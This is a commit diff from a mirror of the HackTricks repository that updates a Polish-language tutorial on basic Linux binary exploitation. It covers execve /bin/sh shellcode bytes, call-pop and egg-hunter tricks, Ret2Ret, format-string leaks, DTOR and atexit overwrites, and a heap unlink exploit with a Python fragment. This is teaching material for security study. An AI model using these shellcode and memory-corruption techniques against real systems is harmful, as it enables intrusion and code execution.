mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin
This commit is contained in:
parent
e93e5a0e29
commit
f116b79f4b
7 changed files with 299 additions and 121 deletions
|
@ -702,6 +702,7 @@
|
|||
* [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md)
|
||||
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
|
||||
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
|
||||
* [Ret2esp / Ret2reg](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md)
|
||||
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
|
||||
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
|
||||
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
|
||||
|
@ -715,7 +716,9 @@
|
|||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md)
|
||||
* [BF Forked Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
|
||||
* [Print Stack Canary](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
|
||||
* [One Gadget](reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md)
|
||||
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
|
||||
* [AW2Exec - \_\_malloc\_hook](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
|
||||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Eksploitacja systemu Linux (Podstawy)
|
||||
# Linux Exploiting (Basic) (SPA)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
@ -10,28 +10,28 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## **2.SHELLCODE**
|
||||
|
||||
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||||
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||||
|
||||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||||
exit(0); // \_\_NR\_exit 1
|
||||
|
||||
xor eax, eax ; clear eax\
|
||||
xor ebx, ebx ; ebx = 0 as there are no arguments to pass\
|
||||
xor eax, eax ; limpiamos eax\
|
||||
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
|
||||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||||
int 0x80 ; Execute syscall
|
||||
int 0x80 ; Ejecutar syscall
|
||||
|
||||
**nasm -f elf assembly.asm** —> Returns a .o file\
|
||||
**ld assembly.o -o shellcodeout** —> Gives us an executable formed by the assembly code and we can extract the opcodes with **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> To verify that it is indeed our shellcode and extract the OpCodes
|
||||
**nasm -f elf assembly.asm** —> Nos devuelve un .o\
|
||||
**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
|
||||
|
||||
**Verify that the shellcode works**
|
||||
**Comprobar que la shellcode funciona**
|
||||
```
|
||||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||||
|
||||
|
@ -43,7 +43,7 @@ fp();
|
|||
```
|
||||
Aby sprawdzić, czy wywołania systemowe są wykonywane poprawnie, należy skompilować poprzedni program, a wywołania systemowe powinny pojawić się w **strace ./SKOMPILOWANY\_PROGRAM**
|
||||
|
||||
Podczas tworzenia shellcode'u można zastosować sztuczkę. Pierwsza instrukcja to skok do wywołania. Wywołanie wykonuje oryginalny kod i dodatkowo umieszcza EIP na stosie. Po instrukcji call umieszczamy potrzebny nam ciąg znaków, dzięki czemu za pomocą tego EIP możemy wskazać na ciąg znaków i kontynuować wykonywanie kodu.
|
||||
Podczas tworzenia shellcode'u można zastosować sztuczkę. Pierwsza instrukcja to skok do wywołania. Wywołanie wywołuje oryginalny kod i dodatkowo umieszcza EIP na stosie. Po instrukcji call umieszczamy potrzebny nam ciąg znaków, dzięki czemu za pomocą tego EIP możemy wskazać na ciąg znaków i kontynuować wykonywanie kodu.
|
||||
|
||||
EJ **SZTUCZKA (/bin/sh)**:
|
||||
```
|
||||
|
@ -95,11 +95,11 @@ pop eax ; Guarda el EIP en el que se ejecutó fabs
|
|||
```
|
||||
**Łowca jajek:**
|
||||
|
||||
Polega na małym kodzie, który przeszukuje strony pamięci powiązane z procesem w poszukiwaniu tam przechowywanej shellcode (szuka jakiegoś podpisu umieszczonego w shellcode). Przydatne w przypadkach, gdy jest tylko niewielka przestrzeń do wstrzyknięcia kodu.
|
||||
Polega na małym kodzie, który przeszukuje strony pamięci powiązane z procesem w poszukiwaniu zapisanego tam kodu powłoki (szuka jakiegoś podpisu umieszczonego w kodzie powłoki). Przydatne w przypadkach, gdy mamy tylko niewielką przestrzeń do wstrzyknięcia kodu.
|
||||
|
||||
**Shellkody polimorficzne**
|
||||
|
||||
Polegają na zaszyfrowanych shellach, które posiadają małe kody deszyfrujące i skaczące do nich, używając sztuczki Call-Pop, oto **przykład zaszyfrowanego szyfru Cezara**:
|
||||
Polegają na zaszyfrowanych powłokach, które mają małe kody deszyfrujące i skaczące do nich, używając sztuczki Call-Pop, oto **przykład zaszyfrowanego szyfru Cezara**:
|
||||
```
|
||||
global _start
|
||||
_start:
|
||||
|
@ -122,37 +122,27 @@ sc:
|
|||
|
||||
**Ret2Ret**
|
||||
|
||||
Przydatne, gdy nie można umieścić adresu stosu w EIP (sprawdzane jest, czy EIP nie zawiera 0xbf) lub gdy nie można obliczyć lokalizacji shellcode. Jednak funkcja podatna akceptuje parametr (shellcode zostanie umieszczona tutaj).
|
||||
Przydatne, gdy nie można wstrzyknąć adresu stosu do EIP (sprawdzane jest, czy EIP nie zawiera 0xbf) lub gdy nie można obliczyć lokalizacji shellcode. Jednak funkcja podatna przyjmuje parametr (shellcode zostanie umieszczona tutaj).
|
||||
|
||||
W ten sposób, zmieniając EIP na adres **ret**, zostanie załadowany następny adres (który jest adresem pierwszego argumentu funkcji). Innymi słowy, zostanie załadowana shellcode.
|
||||
|
||||
Exploit będzie wyglądał tak: SHELLCODE + Wypełnienie (do EIP) + **\&ret** (następne bajty stosu wskazują na początek shellcode, ponieważ adres przekazany do stosu wskazuje na argument przekazany)
|
||||
Exploit będzie wyglądał tak: SHELLCODE + Wypełnienie (do EIP) + **\&ret** (następne bajty stosu wskazują na początek shellcode, ponieważ adres argumentu jest umieszczany na stosie)
|
||||
|
||||
Wygląda na to, że funkcje takie jak **strncpy** po zakończeniu usuwają ze stosu adres, w którym przechowywana była shellcode, uniemożliwiając tę technikę. Innymi słowy, adres przekazywany funkcji jako argument (ten, który przechowuje shellcode) jest modyfikowany na 0x00, więc po wywołaniu drugiego **ret** program napotyka na 0x00 i kończy działanie.
|
||||
Wygląda na to, że funkcje takie jak **strncpy** po zakończeniu usuwają z stosu adres, w którym przechowywana była shellcode, uniemożliwiając tę technikę. Innymi słowy, adres przekazywany do funkcji jako argument (ten, który przechowuje shellcode) jest modyfikowany na 0x00, więc przy drugim **ret** program napotyka na 0x00 i kończy działanie.
|
||||
|
||||
**Technika Murata**
|
||||
|
||||
W systemie Linux wszystkie programy są mapowane zaczynając od 0xbfffffff.
|
||||
|
||||
Analizując, jak jest budowany stos nowego procesu w systemie Linux, można opracować exploit tak, aby program został uruchomiony w środowisku, w którym jedyną zmienną jest shellcode. Adres tej zmiennej można obliczyć jako: addr = 0xbfffffff - 4 - strlen(NAZWA\_PEŁNEGO\_PLIKU\_WYKONAWCZEGO) - strlen(shellcode)
|
||||
Analizując, jak jest budowany stos nowego procesu w systemie Linux, można opracować exploit tak, aby program był uruchamiany w środowisku, w którym jedyną zmienną jest shellcode. Adres tej zmiennej można obliczyć jako: addr = 0xbfffffff - 4 - strlen(NAZWA\_PEŁNEGO\_PLIKU\_WYKONAWCZEGO) - strlen(shellcode)
|
||||
|
||||
W ten sposób można łatwo uzyskać adres zmiennej środowiskowej z shellcode.
|
||||
|
||||
Możliwe jest to dzięki funkcji execle, która pozwala tworzyć środowisko zawierające tylko pożądane zmienne środowiskowe.
|
||||
|
||||
**Skok do ESP: Styl Windows**
|
||||
|
||||
Ponieważ ESP zawsze wskazuje na początek stosu, ta technika polega na zastąpieniu EIP adresem wywołania **jmp esp** lub **call esp**. W ten sposób shellcode jest zapisywana po nadpisaniu EIP, ponieważ po wykonaniu **ret** ESP wskazuje na następny adres, dokładnie tam, gdzie zapisano shellcode.
|
||||
|
||||
W przypadku braku aktywnego ASLR w systemie Windows lub Linux można wywołać **jmp esp** lub **call esp** przechowywane w jakimś obiekcie współdzielonym. Jeśli ASLR jest aktywny, można poszukać ich w samym programie podatnym.
|
||||
|
||||
Ponadto możliwość umieszczenia shellcode po skorumpowaniu EIP zamiast w środku stosu pozwala uniknąć dotknięcia shellcode przez instrukcje push lub pop wykonywane w trakcie funkcji (co mogłoby się zdarzyć, gdyby była umieszczona w środku stosu funkcji).
|
||||
|
||||
Podobnie, jeśli wiadomo, że funkcja zwraca adres, w którym przechowywana jest shellcode, można wywołać **call eax** lub **jmp eax (ret2eax).**
|
||||
Możliwe jest to dzięki funkcji execle, która pozwala tworzyć środowisko zawierające tylko te zmienne środowiskowe, które są wymagane.
|
||||
|
||||
**Przepełnienia liczb całkowitych**
|
||||
|
||||
Tego rodzaju przepełnienia występują, gdy zmienna nie jest przygotowana na obsługę tak dużej liczby, jaką się jej przekazuje, być może z powodu pomyłki między zmiennymi ze znakiem i bez znaku, na przykład:
|
||||
Ten rodzaj przepełnień występuje, gdy zmienna nie jest przygotowana na obsługę tak dużej liczby, jaką się jej przekazuje, być może z powodu pomyłki między zmiennymi ze znakiem i bez znaku, na przykład:
|
||||
```c
|
||||
#include <stdion.h>
|
||||
#include <string.h>
|
||||
|
@ -185,7 +175,7 @@ Ten rodzaj przepełnień nie ma na celu zapisywania czegoś w procesie programu,
|
|||
|
||||
**Zmienne niezainicjowane**
|
||||
|
||||
Nie wiadomo, jaka wartość może przyjąć zmienna niezainicjowana, co może być interesujące do obserwacji. Może się okazać, że przyjmie wartość zmiennej z poprzedniej funkcji, która jest kontrolowana przez atakującego.
|
||||
Nie wiadomo, jaka wartość może przyjąć zmienna niezainicjowana, dlatego warto to obserwować. Może się okazać, że przyjmie wartość zmiennej z poprzedniej funkcji, która jest kontrolowana przez atakującego.
|
||||
|
||||
##
|
||||
|
||||
|
@ -210,16 +200,16 @@ Contents of section .fini_array:
|
|||
```
|
||||
Zauważ, że to **nie** spowoduje **wiecznej pętli**, ponieważ gdy wrócisz do głównej funkcji, canary zauważy, że koniec stosu może być uszkodzony i funkcja nie zostanie ponownie wywołana. Dzięki temu będziesz mógł **wykonać 1 dodatkowe** wywołanie podatności.
|
||||
|
||||
### **Formatowanie łańcucha znaków do wycieku zawartości**
|
||||
### **Formatowanie łańcuchów do wycieku zawartości**
|
||||
|
||||
Łańcuch znaków może również być wykorzystany do **wycieku zawartości** z pamięci programu.\
|
||||
Na przykład, w następującej sytuacji istnieje **zmienna lokalna na stosie wskazująca na flagę**. Jeśli **znajdziesz**, gdzie w **pamięci** jest **wskaźnik** do **flagi**, możesz sprawić, że **printf** uzyska dostęp do tego **adresu** i **wyświetli** flagę:
|
||||
Łańcuch formatujący może również być wykorzystany do **wycieku zawartości** z pamięci programu.\
|
||||
Na przykład, w następującej sytuacji istnieje **zmienna lokalna na stosie wskazująca na flagę**. Jeśli **znajdziesz** w **pamięci** miejsce, gdzie **wskaźnik** do **flagi** jest, możesz sprawić, że **printf** uzyska dostęp do tego **adresu** i **wyświetli** flagę:
|
||||
|
||||
Więc flaga jest pod adresem **0xffffcf4c**
|
||||
|
||||
![](<../../.gitbook/assets/image (618) (2).png>)
|
||||
|
||||
A z wycieku widać, że **wskaźnik do flagi** znajduje się w **8. parametrze**:
|
||||
A z wycieku widać, że **wskaźnik do flagi** jest w **8. parametrze**:
|
||||
|
||||
![](<../../.gitbook/assets/image (623).png>)
|
||||
|
||||
|
@ -227,7 +217,7 @@ Więc, **uzyskując dostęp** do **8. parametru**, możesz uzyskać flagę:
|
|||
|
||||
![](<../../.gitbook/assets/image (624).png>)
|
||||
|
||||
Zauważ, że po **poprzednim ataku** i zrozumieniu, że możesz **wyciekać zawartość**, możesz **ustawić wskaźniki** na **`printf`** w sekcji, gdzie jest **załadowany** **plik wykonywalny** i **wyciekać** go **całkowicie**!
|
||||
Zauważ, że po **poprzednim ataku** i zrozumieniu, że możesz **wyciekać zawartość**, możesz **ustawić wskaźniki** na **`printf`** do sekcji, gdzie jest **załadowany** plik wykonywalny i **wyciekać** go **całkowicie**!
|
||||
|
||||
### **DTOR**
|
||||
|
||||
|
@ -236,18 +226,18 @@ Obecnie jest bardzo **dziwne znalezienie binarnego pliku z sekcją dtor**.
|
|||
{% endhint %}
|
||||
|
||||
Destruktory to funkcje, które są **wykonywane przed zakończeniem programu**.\
|
||||
Jeśli uda ci się **zapisać** adres **shellcode** w **`__DTOR_END__`**, to zostanie **wykonany** przed zakończeniem programu.\
|
||||
Jeśli uda ci się **zapisać** adres **shellcode** w **`__DTOR_END__`**, to zostanie **wykonane** przed zakończeniem programu.\
|
||||
Uzyskaj adres tej sekcji za pomocą:
|
||||
```bash
|
||||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
Zazwyczaj znajdziesz sekcję **DTOR** **między** wartościami `ffffffff` i `00000000`. Jeśli widzisz tylko te wartości, oznacza to, że **nie ma zarejestrowanej żadnej funkcji**. **Nadpisz** więc **`00000000`** adresem **shellcode**, aby go wykonać.
|
||||
Zazwyczaj znajdziesz sekcję **DTOR** **pomiędzy** wartościami `ffffffff` i `00000000`. Jeśli widzisz tylko te wartości, oznacza to, że **nie ma zarejestrowanej żadnej funkcji**. **Nadpisz** więc **`00000000`** adresem **shellcode**, aby go uruchomić.
|
||||
|
||||
### **Formatowanie łańcuchów do przepełnień bufora**
|
||||
### **Formatowanie łańcuchów znaków do przepełnień bufora**
|
||||
|
||||
Funkcja **sprintf** przesuwa sformatowany łańcuch **do** zmiennej. Dlatego można nadużyć **formatowania** łańcucha, aby spowodować **przepełnienie bufora w zmiennej**, do której jest kopiowana zawartość.\
|
||||
Na przykład ładunek `%.44xAAAA` **zapisze 44B+"AAAA" w zmiennej**, co może spowodować przepełnienie bufora.
|
||||
Funkcja **sprintf** przenosi sformatowany łańcuch znaków **do** zmiennej. Dlatego można nadużyć **formatowania** łańcucha, aby spowodować **przepełnienie bufora w zmiennej**, do której jest kopiowana zawartość.\
|
||||
Na przykład ładunek `%.44xAAAA` zapisze **44B+"AAAA" w zmiennej**, co może spowodować przepełnienie bufora.
|
||||
|
||||
### **Struktury \_\_atexit**
|
||||
|
||||
|
@ -257,7 +247,7 @@ Obecnie jest bardzo **dziwne, aby to wykorzystać**.
|
|||
|
||||
Funkcja **`atexit()`** to funkcja, do której **przekazywane są inne funkcje jako parametry**. Te **funkcje** zostaną **wykonane** podczas wykonywania **`exit()`** lub **powrotu** do **main**.\
|
||||
Jeśli można **zmodyfikować** **adres** którejś z tych **funkcji**, aby wskazywał na shellcode na przykład, uzyskasz **kontrolę** nad **procesem**, ale obecnie jest to bardziej skomplikowane.\
|
||||
Obecnie **adresy funkcji** do wykonania są **ukryte** za kilkoma strukturami, a ostatecznie adres, do którego wskazują, nie jest adresem funkcji, ale jest **zaszyfrowany za pomocą operacji XOR** i przesunięć z **losowym kluczem**. Dlatego obecnie ten wektor ataku **nie jest bardzo przydatny przynajmniej na x86** i **x64\_86**.\
|
||||
Obecnie **adresy funkcji** do wykonania są **ukryte** za kilkoma strukturami, a ostatecznie adres, na który wskazują, nie jest adresem funkcji, ale jest **zaszyfrowany za pomocą operacji XOR** i przesunięć z **losowym kluczem**. Dlatego obecnie ten wektor ataku **nie jest bardzo przydatny przynajmniej na x86** i **x64\_86**.\
|
||||
Funkcja **szyfrowania** to **`PTR_MANGLE`**. **Inne architektury** takie jak m68k, mips32, mips64, aarch64, arm, hppa... **nie implementują funkcji szyfrowania**, ponieważ **zwracają to samo**, co otrzymały jako dane wejściowe. Dlatego te architektury mogą być podatne na ten wektor ataku.
|
||||
|
||||
### **setjmp() & longjmp()**
|
||||
|
@ -277,7 +267,7 @@ Jednak z tego, co przeczytałem, inne rejestry nie są chronione, **więc jeśli
|
|||
|
||||
Każda klasa ma **Vtable**, która jest tablicą **wskaźników do metod**.
|
||||
|
||||
Każdy obiekt klasy ma **VPtr**, który jest **wskaźnikiem** do tablicy swojej klasy. VPtr jest częścią nagłówka każdego obiektu, więc jeśli **nadpiszesz** **VPtr**, można go **zmienić**, aby wskazywał na metodę-dummy, dzięki czemu wykonanie funkcji przejdzie do shellcode.
|
||||
Każdy obiekt **klasy** ma **VPtr**, który jest **wskaźnikiem** do tablicy swojej klasy. VPtr jest częścią nagłówka każdego obiektu, więc jeśli **nadpiszesz** **VPtr**, można go **zmienić**, aby wskazywał na metodę zastępczą, dzięki czemu wykonanie funkcji przejdzie do shellcode.
|
||||
|
||||
## **Środki zapobiegawcze i unikanie**
|
||||
|
||||
|
@ -289,15 +279,15 @@ Włącza się za pomocą: LD\_PRELOAD=/lib/libsafe.so.2\
|
|||
lub\
|
||||
“/lib/libsave.so.2” > /etc/ld.so.preload
|
||||
|
||||
Niektóre niebezpieczne wywołania funkcji są przechwytywane przez bezpieczne wywołania. Nie jest to standaryzowane. (tylko dla x86, nie dla kompilacji z -fomit-frame-pointer, nie dla statycznych kompilacji, nie wszystkie funkcje podatne na atak stają się bezpieczne, a LD\_PRELOAD nie działa w binariach z ustawionym suid).
|
||||
Niektóre niebezpieczne funkcje są zastępowane bezpieczniejszymi. Nie jest to standaryzowane. (tylko dla x86, nie dla kompilacji z -fomit-frame-pointer, nie dla statycznych kompilacji, nie wszystkie funkcje podatne na atak stają się bezpieczne, a LD\_PRELOAD nie działa dla binarnych z ustawionym suid).
|
||||
|
||||
**ASCII Armored Address Space**
|
||||
|
||||
Polega na załadowaniu współdzielonych bibliotek od 0x00000000 do 0x00ffffff, aby zawsze był bajt 0x00. Jednakże to naprawdę nie zatrzymuje praktycznie żadnego ataku, a tym bardziej w little endian.
|
||||
Polega na ładowaniu współdzielonych bibliotek od 0x00000000 do 0x00ffffff, aby zawsze był bajt 0x00. Jednakże to naprawdę nie zatrzymuje praktycznie żadnego ataku, a tym bardziej w little endian.
|
||||
|
||||
**ret2plt**
|
||||
|
||||
Polega na wykonaniu ROP w taki sposób, że wywoływana jest funkcja strcpy@plt (z plt) i wskazuje się na wpis w GOT, a następnie kopiowany jest pierwszy bajt funkcji, do której chcemy wywołać (system()). Następnie to samo jest robione wskazując na GOT+1 i kopiując 2. bajt system()... Na końcu wywoływany jest zapisany adres w GOT, który będzie system()
|
||||
Polega na wykonaniu ROP w taki sposób, że wywoływana jest funkcja strcpy@plt (z plt), a następnie wskazuje się na wpis w GOT i kopiowany jest pierwszy bajt funkcji, do której chcemy się odwołać (system()). Następnie to samo jest wykonywane wskazując na GOT+1 i kopiując 2. bajt system()... Na końcu wywoływany jest zapisany adres w GOT, który będzie system()
|
||||
|
||||
**Klatki z chroot()**
|
||||
|
||||
|
@ -307,7 +297,7 @@ Administrator może wyjść z takiej klatki wykonując: mkdir foo; chroot foo; c
|
|||
|
||||
**Instrumentacja kodu**
|
||||
|
||||
Valgrind —> Szuka błędów\
|
||||
Valgrind —> Wyszukuje błędów\
|
||||
Memcheck\
|
||||
RAD (Return Address Defender)\
|
||||
Insure++
|
||||
|
@ -324,8 +314,8 @@ size | —Nagłówek\
|
|||
|
||||
prev\_size |\
|
||||
size |\
|
||||
\*fd | Wskaźnik na następny kawałek\
|
||||
\*bk | Wskaźnik na poprzedni kawałek —Nagłówek\
|
||||
\*fd | Wskaźnik do przodu do kawałka\
|
||||
\*bk | Wskaźnik do tyłu do kawałka —Nagłówek\
|
||||
\*mem | Dane
|
||||
|
||||
Wolne kawałki są w liście dwukierunkowej (bin) i nigdy nie mogą być dwa wolne kawałki obok siebie (są łączone)
|
||||
|
@ -335,8 +325,8 @@ W "size" są bity wskazujące: czy poprzedni kawałek jest używany, czy kawałe
|
|||
Po zwolnieniu kawałka, jeśli którykolwiek z sąsiednich jest wolny, są one łączone za pomocą makra unlink() i nowy, większy kawałek jest przekazywany do frontlink() w celu wstawienia go do odpowiedniego binu.
|
||||
|
||||
unlink(){\
|
||||
BK = P->bk; —> BK nowego kawałka to BK poprzedniego wolnego kawałka\
|
||||
FD = P->fd; —> FD nowego kawałka to FD poprzedniego wolnego kawałka\
|
||||
BK = P->bk; —> BK nowego kawałka to ten, który miał kawałek, który był już wolny\
|
||||
FD = P->fd; —> FD nowego kawałka to ten, który miał kawałek, który był już wolny\
|
||||
FD->bk = BK; —> BK następnego kawałka wskazuje na nowy kawałek\
|
||||
BK->fd = FD; —> FD poprzedniego kawałka wskazuje na nowy kawałek\
|
||||
}
|
||||
|
@ -351,15 +341,19 @@ W ten sposób shellcode zostanie wykonana po opuszczeniu programu.
|
|||
|
||||
Dodatkowo, 4. instrukcja unlink() zapisuje coś, a shellcode musi być dostosowana do tego:
|
||||
|
||||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Spowoduje to zapisanie 4 bajtów od 8 bajtu shellcode, dlatego pierwsza instrukcja shellcode musi być skokiem, aby ominąć to i przejść do nops prowadzących do reszty shellcode.
|
||||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Spowoduje to zapisanie 4 bajtów od 8 bajtu shellcode, dlatego pierwsza instrukcja shellcode musi być skokiem, aby ominąć to i przejść do nops, które prowadzą do reszty shellcode.
|
||||
|
||||
Dlatego exploit jest tworzony:
|
||||
|
||||
W buforze1 umieszczamy shellcode zaczynając od skoku, aby przejść do nops lub reszty shellcode.
|
||||
|
||||
Następnie po shellcode dodajemy wypełnienie do osiągnięcia pola prev\_size i size następnego kawałka. W tych miejscach umieszczamy 0xfffffff0 (aby nadpisać prev\_size i ustawić bit wskazujący, że jest wolny) i “-4” (0xfffffffc) w size (aby podczas sprawdzania w 3. kawałku, czy 2. był wolny, w rzeczywistości przejdzie do zmodyfikowanego prev\_size, który powie, że jest wolny) -> Dlatego gdy free() sprawdzi, przejdzie do size 3., ale w rzeczywistości przejdzie do 2. - 4 i uzna, że 2. kawałek jest wolny. Następnie wywoła **unlink()**.
|
||||
Następnie po shellcode dodajemy wypełnienie, aż dojdziesz do pola prev\_size i size następnego kawałka. W tych miejscach umieszczamy 0xfffffff0 (aby nadpisać prev\_size i ustawić bit mówiący, że jest wolny) i “-4” (0xfffffffc) w size (aby podczas sprawdzania w 3. kawałku, czy 2. był wolny, w rzeczywistości przejdzie do zmodyfikowanego prev\_size, który powie, że jest wolny) -> Dlatego gdy free() sprawdzi, przejdzie do size 3., ale w rzeczywistości przejdzie do 2. - 4 i uzna, że 2. kawałek jest wolny. Następnie zostanie wywołane **unlink()**.
|
||||
|
||||
Podczas wywoływania unlink() użyje danych z początku 2. kawałka jako P->fd, więc tam zostanie wstawiony adres, który chcesz nadpisać - 12 (ponieważ w FD->bk zostanie dodane 12 do adresu przechowywanego w FD). A pod tym adresem zostanie umieszczony drugi adres z 2. kawałka, który będzie interesujący dla nas jako adres shellcode (fałszywy P->bk).
|
||||
Podczas wywoływania unlink() P->fd użyje pierwszych danych z 2. kawałka, więc tam zostanie wstawiony adres, który chcesz nadpisać - 12 (ponieważ w FD->bk zostanie dodane 12 do adresu przechowywanego w FD). A pod tym adresem zostanie wprowadzony drugi adres z 2. kawałka, który będzie wskazywał na shellcode (fałszywy P->bk).
|
||||
|
||||
**from struct import \***
|
||||
|
||||
**import os**
|
||||
**shellcode = "\xeb\x0caaaabbbbcccc" #skok 12 + 12 bajtów wypełnienia**
|
||||
|
||||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||||
|
@ -390,13 +384,13 @@ W tym przypadku:
|
|||
|
||||
W fragmencie c umieszczamy shellcode
|
||||
|
||||
Fragment a używamy do nadpisania b, aby rozmiar miał wyłączony bit PREV\_INUSE, aby myślał, że fragment a jest wolny.
|
||||
Fragment a używamy do nadpisania b, aby rozmiar miał wyłączony bit PREV\_INUSE, aby program myślał, że fragment a jest wolny.
|
||||
|
||||
Dodatkowo, nadpisujemy w nagłówku b rozmiar, aby wynosił -4.
|
||||
Dodatkowo, nadpisujemy rozmiar w nagłówku b, aby wynosił -4.
|
||||
|
||||
W rezultacie program uzna, że „a” jest wolny i w binie, więc wywoła unlink() aby go odłączyć. Jednakże, ponieważ nagłówek PREV\_SIZE wynosi -4, uzna, że fragment „a” zaczyna się naprawdę w b+4. Innymi słowy, wywoła unlink() na fragmencie rozpoczynającym się od b+4, więc w b+12 będzie wskaźnik „fd”, a w b+16 będzie wskaźnik „bk”.
|
||||
W rezultacie program uzna, że "a" jest wolny i w binie, więc wywoła unlink(), aby go odłączyć. Jednakże, ponieważ nagłówek PREV\_SIZE wynosi -4, program uzna, że fragment "a" zaczyna się naprawdę w b+4. Innymi słowy, wywoła unlink() na fragmencie rozpoczynającym się w b+4, więc w b+12 będzie wskaźnik "fd", a w b+16 będzie wskaźnik "bk".
|
||||
|
||||
W ten sposób, jeśli w bk umieścimy adres shellcode, a w fd umieścimy adres funkcji „puts()”-12, mamy nasz payload.
|
||||
W ten sposób, jeśli w bk umieścimy adres shellcode, a w fd umieścimy adres funkcji "puts()"-12, mamy nasz payload.
|
||||
|
||||
**Technika Frontlink**
|
||||
|
||||
|
@ -408,19 +402,19 @@ Wymagane:
|
|||
|
||||
Bufor, który może zostać przepełniony funkcją wejściową
|
||||
|
||||
Bufor sąsiadujący z tym, który zostanie zwolniony, a który będzie modyfikowany przez przepełnienie poprzedniego bufora
|
||||
Bufor sąsiadujący z tym, który zostanie zwolniony, a który będzie modyfikowany poprzez przepełnienie wcześniejszego bufora
|
||||
|
||||
Bufor do zwolnienia o rozmiarze większym niż 512, ale mniejszym niż poprzedni bufor
|
||||
|
||||
Bufor zadeklarowany przed krokiem 3, który pozwala na nadpisanie prev\_size tego bufora
|
||||
|
||||
W ten sposób, nadpisując w dwóch mallocach w sposób niekontrolowany i w jednym kontrolowanym, który jest zwalniany tylko raz, możemy przeprowadzić exploit.
|
||||
W ten sposób, nadpisując dwa mallocs w sposób niekontrolowany i jeden w sposób kontrolowany, który jest zwalniany tylko raz, możemy przeprowadzić exploit.
|
||||
|
||||
**Podatność double free()**
|
||||
|
||||
Jeśli free() jest wywoływane dwa razy z tym samym wskaźnikiem, powstają dwa biny wskazujące na ten sam adres.
|
||||
|
||||
Jeśli chcemy ponownie użyć jednego, zostanie on przydzielony bez problemów. Jeśli chcemy użyć innego, zostanie on przydzielony ten sam obszar, więc mamy fałszywe wskaźniki „fd” i „bk” z danymi, które zapisze poprzednia rezerwacja.
|
||||
Jeśli chcemy ponownie użyć jednego, nie ma problemu. Jeśli chcemy użyć drugiego, zostanie przydzielona ta sama przestrzeń, więc mamy fałszywe wskaźniki "fd" i "bk" z danymi, które zapisze poprzednia rezerwacja.
|
||||
|
||||
